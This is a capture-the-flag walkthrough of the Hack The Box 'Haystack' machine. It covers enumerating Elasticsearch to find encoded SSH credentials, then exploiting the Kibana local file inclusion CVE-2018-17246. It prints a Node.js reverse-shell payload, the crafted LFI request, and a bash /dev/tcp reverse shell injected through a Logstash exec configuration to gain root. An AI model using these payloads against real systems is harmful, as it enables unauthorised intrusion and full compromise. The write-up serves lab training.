HTB - Haystack

Getting Root:

  1. Start with nmap and discovered port 22, 80, 9200

  2. On port 80 we get a an image with base64 encoded talking about key

  3. On port 9200 we use elastic search to find credentials to ssh to the box and user flag

  4. To escalate privileges, we use CVE-2018-17246 to get user kibana who has access to logstash which is running as root

  5. Create a file based on the logstash configuration files and get a reverse shell as root

Nmap

nmap -sC -sV -p- 10.10.10.115 -oN nmap/Haystack
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-02 16:47 EST
Nmap scan report for 10.10.10.115
Host is up (0.039s latency).
Not shown: 65532 filtered ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 2a:8d:e2:92:8b:14:b6:3f:e4:2f:3a:47:43:23:8b:2b (RSA)
|   256 e7:5a:3a:97:8e:8e:72:87:69:a3:0d:d1:00:bc:1f:09 (ECDSA)
|_  256 01:d2:59:b2:66:0a:97:49:20:5f:1c:84:eb:81:ed:95 (ED25519)
| vulners: 
|   cpe:/a:openbsd:openssh:7.4: 
|       CVE-2018-15919  5.0     https://vulners.com/cve/CVE-2018-15919
|_      CVE-2017-15906  5.0     https://vulners.com/cve/CVE-2017-15906
80/tcp   open  http    nginx 1.12.2
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (text/html).
9200/tcp open  http    nginx 1.12.2
| http-methods: 
|_  Potentially risky methods: DELETE
|_http-server-header: nginx/1.12.2
|_http-title: Site doesn't have a title (application/json; charset=UTF-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 378.99 seconds

Enumeration

Checking Port 80

Checking the image

strings index.jpeg

# We get something encoded in base64 
bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==

# Decoding it
echo "bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==" | base64 -d

# Result
la aguja en el pajar es "clave"

Google Translate

Gobuster on port 80 did not returned anything. I also tried with different User Agent

gobuster dir -u http://10.10.10.115 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.115
[+] Threads:        100
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/03/02 17:11:52 Starting gobuster
===============================================================
===============================================================
2020/03/02 17:13:34 Finished
===============================================================


# Also tried with different user agent and nothinggobuster dir -u http://10.10.10.115 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -a Mozilla/5.0
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.115
[+] Threads:        100
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     Mozilla/5.0
[+] Timeout:        10s
===============================================================
2020/03/02 17:14:35 Starting gobuster
===============================================================
===============================================================
2020/03/02 17:16:15 Finished
===============================================================

Checking port 9200

Gobuster

gobuster dir -u http://10.10.10.115:9200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -a Mozilla/5.0
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.115:9200
[+] Threads:        100
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     Mozilla/5.0
[+] Timeout:        10s
===============================================================
2020/03/02 17:16:53 Starting gobuster
===============================================================
/quotes (Status: 200)
/bank (Status: 200)
/*checkout* (Status: 200)
/*docroot* (Status: 200)
/* (Status: 200)
[ERROR] 2020/03/02 17:17:33 [!] Get http://10.10.10.115:9200/societies: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
/**http%3a (Status: 200)
/*http%3A (Status: 200)
/**http%3A (Status: 200)
/**http%3A%2F%2Fwww (Status: 200)
/devinmoore* (Status: 200)
/200109* (Status: 200)
/*dc_ (Status: 200)
/*sa_ (Status: 200)
===============================================================
2020/03/02 17:21:16 Finished
===============================================================

Research on Elasticsearch 6.4.2

Found this site: https://www.elastic.co/guide/en/elasticsearch/reference/6.8/search-request-body.html

The documentation shows how to perform the search and it even has an example.

We can also use the parameter size in order to specify the amount of hits to return.

Putting all together:

We can use _cat to see the available options:

curl -s http://10.10.10.115:9200/_cat
=^.^=
/_cat/allocation
/_cat/shards
/_cat/shards/{index}
/_cat/master
/_cat/nodes
/_cat/tasks
/_cat/indices
/_cat/indices/{index}
/_cat/segments
/_cat/segments/{index}
/_cat/count
/_cat/count/{index}
/_cat/recovery
/_cat/recovery/{index}
/_cat/health
/_cat/pending_tasks
/_cat/aliases
/_cat/aliases/{alias}
/_cat/thread_pool
/_cat/thread_pool/{thread_pools}
/_cat/plugins
/_cat/fielddata
/_cat/fielddata/{fields}
/_cat/nodeattrs
/_cat/repositories
/_cat/snapshots/{repository}
/_cat/templates

Checking the indices we notice bank and quotes. The ?v after indices displays the headers

curl -s http://10.10.10.115:9200/_cat/indices?v
health status index   uuid                   pri rep docs.count docs.deleted store.size pri.store.size    
green  open   .kibana 6tjAYZrgQ5CwwR0g6VOoRg   1   0          1            0        4kb            4kb
yellow open   quotes  ZG2D1IqkQNiNZmi2HRImnQ   5   1        253            0    262.7kb        262.7kb
yellow open   bank    eSVpNfCfREyYoVigNWcrMw   5   1       1000            0    483.2kb        483.2kb

We can use the pretty parameter (discussed in the API documentation) to get a nice output of the JSON data.

root@kdeali:~/HackTheBox/haystack# curl -s http://10.10.10.115:9200/quotes/_search?pretty                                                                                                                                                     
{                                                                                                                                                                                                                                             
  "took" : 2,                                                                                                                                                                                                                                 
  "timed_out" : false,                                                                                                                                                                                                                        
  "_shards" : {                                                                                                                                                                                                                               
    "total" : 5,                                                                                                                                                                                                                              
    "successful" : 5,                                                                                                                                                                                                                         
    "skipped" : 0,                                                                                                                                                                                                                            
    "failed" : 0                                                                                                                                                                                                                              
  },                                                                                                                                                                                                                                          
  "hits" : {                                                                                                                                                                                                                                  
    "total" : 253,                                                                                                                                                                                                                            
    "max_score" : 1.0,                                                                                                                                                                                                                        
    "hits" : [                                                                                                                                                                                                                                
      {                

From the output above, we can see there are 253 total hits, so we are going to use the size and _search parameter we discussed (learned from the API documentation)

curl -s http://10.10.10.115:9200/quotes/_search?size=255 | jq . | grep -i clave
"quote": "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="    
"quote": "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "

The following also worked, I got this from the API documentation on how to search:

curl -s http://10.10.10.115:9200/quotes/_search?q=clave | jq .
{
  "took": 8,
  "timed_out": false,
  "_shards": {
    "total": 5,
    "successful": 5,
    "skipped": 0,
    "failed": 0
  },
  "hits": {
    "total": 2,
    "max_score": 5.9335938,
    "hits": [
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "45",
        "_score": 5.9335938,
        "_source": {
          "quote": "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg "
        }
      },
      {
        "_index": "quotes",
        "_type": "quote",
        "_id": "111",
        "_score": 5.3459888,
        "_source": {
          "quote": "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk="    
        }
      }
    ]
  }
}

I learned a lot about elasticsearch, so now its time to see what we got. Please note that the reason I am using the word "clave" is because we got that from the initial picture

echo 'dXNlcjogc2VjdXJpdHkg' | base64 -d
user: security

echo 'cGFzczogc3BhbmlzaC5pcy5rZXk=' | base64 -d
pass: spanish.is.key

Getting a shell

ssh to the box user the decoded credentials user: security pass: spanish.is.key

ssh security@10.10.10.115
security@10.10.10.115's password: 
Last login: Wed Feb  6 20:53:59 2019 from 192.168.2.154
[security@haystack ~]$ 
[security@haystack ~]$ id
uid=1000(security) gid=1000(security) groups=1000(security) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[security@haystack ~]$ 

Privilege Escalation

The server is listening on port 5601

[security@haystack ~]$ ss -nap | grep -i listen | column -t
u_str  LISTEN  0  128  /run/systemd/journal/stdout       8966   *  0
u_str  LISTEN  0  128  /run/systemd/private              21256  *  0
u_str  LISTEN  0  128  /run/lvm/lvmpolld.socket          21563  *  0
u_str  LISTEN  0  32   /var/run/vmware/guestServicePipe  37714  *  0
u_str  LISTEN  0  128  /run/dbus/system_bus_socket       33881  *  0
u_str  LISTEN  0  128  /run/lvm/lvmetad.socket           21604  *  0
u_seq  LISTEN  0  128  /run/udev/control                 21461  *  0
tcp    LISTEN  0  128  *:80                              *:*
tcp    LISTEN  0  128  *:9200                            *:*
tcp    LISTEN  0  128  *:22                              *:*
tcp    LISTEN  0  128  127.0.0.1:5601                    *:*
tcp    LISTEN  0  128  ::ffff:127.0.0.1:9000             :::*
tcp    LISTEN  0  128  :::80                             :::*
tcp    LISTEN  0  128  ::ffff:127.0.0.1:9300             :::*
tcp    LISTEN  0  128  :::22                             :::*
tcp    LISTEN  0  50   ::ffff:127.0.0.1:9600             :::*

Using ssh port forwarding to checkout what's running on that port.

# To execute the port forwarding on the same session, I do:
#   ~C and hit enter
# Here I'm going to use local port on my Kali 5602 to forward the connection
# to Haystack over ssh to its port 5601

[security@haystack ~]$ 
ssh> -L 5602:127.0.0.1:5601
Forwarding port.

[security@haystack ~]$ 

Checking out port 5602, we notice it's running Kibana version 6.4.2

Google search on Kibana 6.4.2 takes to the following interesting GitHub page describing a CVE

Description: A Local File Inclusion on Kibana found by CyberArk Labs, the LFI can be use to execute a reverse shell on the Kibana server with the following payload:

/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../path/to/shell.js  

The article has this POC for the reverse shell

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1337, "172.18.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

I used that code and modified it to get a reverse shell on my box. I placed the script in /dev/shm/ and I called it shell.js

To triggered the reverse shell, I used curl with the link in quotes to avoid bash from interpreting anything.

curl "http://127.0.0.1:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/shell.js"   

And... I got a shell as user kibana

rlwrap nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.115] 37278

id
uid=994(kibana) gid=992(kibana) grupos=992(kibana) contexto=system_u:system_r:unconfined_service_t:s0     
 

This box has the full ELK installed (Elastic, Logstash and Kibana)

Elastic uses port 9200 and its run by user elastic

elastic+   7226  1.3 35.1 3318736 1356100 ?     Ssl  mar02   4:56 /bin/java -Xms1g -Xmx1g -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+AlwaysPreTouch -Xss1m -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djna.nosys=true -XX:-OmitStackTraceInFastThrow -Dio.netty.noUnsafe=true -Dio.netty.noKeySetOptimization=true -Dio.netty.recycler.maxCapacityPerThread=0 -Dlog4j.shutdownHookEnabled=false -Dlog4j2.disable.jmx=true -Djava.io.tmpdir=/tmp/elasticsearch.hDcefkGr -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/lib/elasticsearch -XX:ErrorFile=/var/log/elasticsearch/hs_err_pid%p.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -Xloggc:/var/log/elasticsearch/gc.log -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=32 -XX:GCLogFileSize=64m -Des.path.home=/usr/share/elasticsearch -Des.path.conf=/etc/elasticsearch -Des.distribution.flavor=default -Des.distribution.type=rpm -cp /usr/share/elasticsearch/lib/* org.elasticsearch.bootstrap.Elasticsearch -p /var/run/elasticsearch/elasticsearch.pid --quiet  

Logstash uses port 9600 and its run by user root

root       6384  1.1 13.2 2721744 511076 ?      SNsl mar02   4:05 /bin/java -Xms500m -Xmx500m -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -Djava.awt.headless=true -Dfile.encoding=UTF-8 -Djruby.compile.invokedynamic=true -Djruby.jit.threshold=0 -XX:+HeapDumpOnOutOfMemoryError -Djava.security.egd=file:/dev/urandom -cp /usr/share/logstash/logstash-core/lib/jars/animal-sniffer-annotations-1.14.jar:/usr/share/logstash/logstash-core/lib/jars/commons-codec-1.11.jar:/usr/share/logstash/logstash-core/lib/jars/commons-compiler-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/error_prone_annotations-2.0.18.jar:/usr/share/logstash/logstash-core/lib/jars/google-java-format-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/gradle-license-report-0.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/guava-22.0.jar:/usr/share/logstash/logstash-core/lib/jars/j2objc-annotations-1.1.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-annotations-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-core-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-databind-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/jackson-dataformat-cbor-2.9.5.jar:/usr/share/logstash/logstash-core/lib/jars/janino-3.0.8.jar:/usr/share/logstash/logstash-core/lib/jars/jruby-complete-9.1.13.0.jar:/usr/share/logstash/logstash-core/lib/jars/jsr305-1.3.9.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-api-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-core-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/log4j-slf4j-impl-2.9.1.jar:/usr/share/logstash/logstash-core/lib/jars/logstash-core.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.commands-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.contenttype-3.4.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.expressions-3.4.300.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.filesystem-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.jobs-3.5.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.resources-3.7.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.core.runtime-3.7.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.app-1.3.100.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.common-3.6.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.preferences-3.4.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.equinox.registry-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.jdt.core-3.10.0.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.osgi-3.7.1.jar:/usr/share/logstash/logstash-core/lib/jars/org.eclipse.text-3.5.101.jar:/usr/share/logstash/logstash-core/lib/jars/slf4j-api-1.7.25.jar org.logstash.Logstash --path.settings /etc/logstash  

Kibana uses port: 5601 and its run by user kibana

kibana     6382  0.4  5.7 1360244 221744 ?      Ssl  mar02   1:34 /usr/share/kibana/bin/../node/bin/node --no-warnings /usr/share/kibana/bin/../src/cli -c /etc/kibana/kibana.yml  

Basic Enumeration shows we have access to the logstash configurations.

find / -user root -group kibana -type f -ls 2>/dev/null
33914760    4 -rw-r-----   1 root     kibana        109 jun 24  2019 /etc/logstash/conf.d/output.conf   
33914752    4 -rw-r-----   1 root     kibana        186 jun 24  2019 /etc/logstash/conf.d/input.conf
33914769    4 -rw-r-----   1 root     kibana        131 jun 20  2019 /etc/logstash/conf.d/filter.conf


# Contents of the configuration files
# This is the input config
bash-4.2$ cat /etc/logstash/conf.d/input.conf
cat /etc/logstash/conf.d/input.conf
input {
        file {
                path => "/opt/kibana/logstash_*"
                start_position => "beginning"
                sincedb_path => "/dev/null"
                stat_interval => "10 second"
                type => "execute"
                mode => "read"
        }
}
bash-4.2$ 


# This is the filter config
bash-4.2$ cat /etc/logstash/conf.d/filter.conf
cat /etc/logstash/conf.d/filter.conf
filter {
        if [type] == "execute" {
                grok {
                        match => { "message" => "Ejecutar\s*comando\s*:\s+%{GREEDYDATA:comando}" }
                }
        }
}
bash-4.2$ 


# This is the output config
bash-4.2$ cat /etc/logstash/conf.d/output.conf
cat /etc/logstash/conf.d/output.conf
output {
        if [type] == "execute" {
                stdout { codec => json }
                exec {
                        command => "%{comando} &"
                }
        }
}
bash-4.2$ 


Based on the configuration files, we should be able to create a file under the directory /opt/kibana and name the file logstash_{whatever you want here} using the following format on its contents: Ejecutar comando : {whatever commands we want here}The \s on the filter.conf means a literal space.

Getting a reverse shell with root privileges since logstash is running as root.

# On my Kali box
rlwrap nc -lnvp 9009


# On haystack as user kibana, we execute the following command to create the file
echo “Ejecutar comando : bash -i >& /dev/tcp/10.10.14.20/9009 0>&1 > /opt/kibana/logstash_squid22 

# We get a root shell
rlwrap nc -lnvp 9009
listening on [any] 9009 ...
connect to [10.10.14.20] from (UNKNOWN) [10.10.10.115] 49428
bash: no hay control de trabajos en este shell
[root@haystack /]# id
id
uid=0(root) gid=0(root) grupos=0(root) contexto=system_u:system_r:unconfined_service_t:s0
[root@haystack /]# 

Last updated